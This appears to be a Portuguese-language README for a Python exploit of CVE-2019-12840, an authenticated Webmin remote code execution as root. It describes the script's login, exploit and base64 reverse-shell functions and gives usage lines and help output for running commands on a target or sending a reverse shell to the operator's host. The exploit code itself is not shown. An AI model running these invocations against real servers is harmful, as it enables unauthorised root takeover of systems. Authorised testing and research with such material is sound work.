
Esta é uma prova de conceito própria e básica da vulnerabilidade CVE-2019-12840, que lhe dá um RCE como root.
Este repositório contém um script em Python que explora a vulnerabilidade CVE-2019-12840 no Webmin.
O script tenta fazer login em um servidor Webmin e então explorar a vulnerabilidade CVE-2019-12840. O script aceita vários argumentos de linha de comando, incluindo o nome de usuário e a senha para fazer login no servidor Webmin, a URL do servidor, a porta do servidor, a porta local para o shell reverso, e um comando para executar no servidor.
Para usar este script, você deve fornecer pelo menos o nome de usuário, a senha e a URL do servidor Webmin. Aqui está um exemplo de como usar o script:
python exploit.py -U username -P password -u http://localhost:10000 -lhost 10.x.x.x -lport 443
O script em Python neste repositório está estruturado da seguinte maneira:
Importação de módulos: O script começa importando vários módulos do Python necessários para o seu funcionamento. Estes incluem requests para fazer solicitações HTTP, argparse para lidar com argumentos de linha de comando, base64 para codificação e decodificação em base64, e BeautifulSoup para analisar HTML.
Definição de funções: O script define várias funções:
CVE_2019_12840(url,auth_base64,cmd): Esta função realiza uma solicitação POST para uma URL específica com uma carga útil específica e verifica a resposta.login(username,password,url): Esta função tenta fazer login no servidor Webmin com um nome de usuário e senha fornecidos.exploit(sid,url,cmd): Esta função tenta explorar a vulnerabilidade CVE-2019-12840 no servidor Webmin.b64revshell(lhost,lport): Esta função gera um shell reverso codificado em base64.Tratamento de argumentos de linha de comando: O script aceita vários argumentos de linha de comando, incluindo o nome de usuário e a senha para fazer login no servidor Webmin, a URL do servidor, a porta do servidor, a porta local para o shell reverso, e um comando para executar no servidor.
Execução do exploit: Se o script for executado como um programa independente (em vez de ser importado como um módulo), ele tentará fazer login no servidor Webmin e então executará o exploit.
O script aceita vários argumentos de linha de comando. Aqui está um exemplo de como usar o script:
python3 CVE-2019-12840.py -h
Isso mostrará a ajuda do programa, que inclui o seguinte:
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by CyberMonkey
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
usage: CVE-2019-12840.py [-h] -U USERNAME -P PASSWORD -u URL [-p PORT] [-lport LPORT] (-c CMD | -lhost LHOST)
options:
-h, --help show this help message and exit
-U USERNAME username
-P PASSWORD password
-u URL target url
-p PORT target port
-lport LPORT local port for reverse shell
-c CMD command to execute
-lhost LHOST Send back a reverse shell at port 443
Este script é um exploit de segurança e só deve ser utilizado para fins legítimos, como testes de penetração ou pesquisa de segurança. Não deve ser utilizado para atividades ilegais. Além disso, este script foi projetado para ser usado com servidores Webmin vulneráveis à CVE-2019-12840, portanto pode não funcionar com todas as versões do Webmin.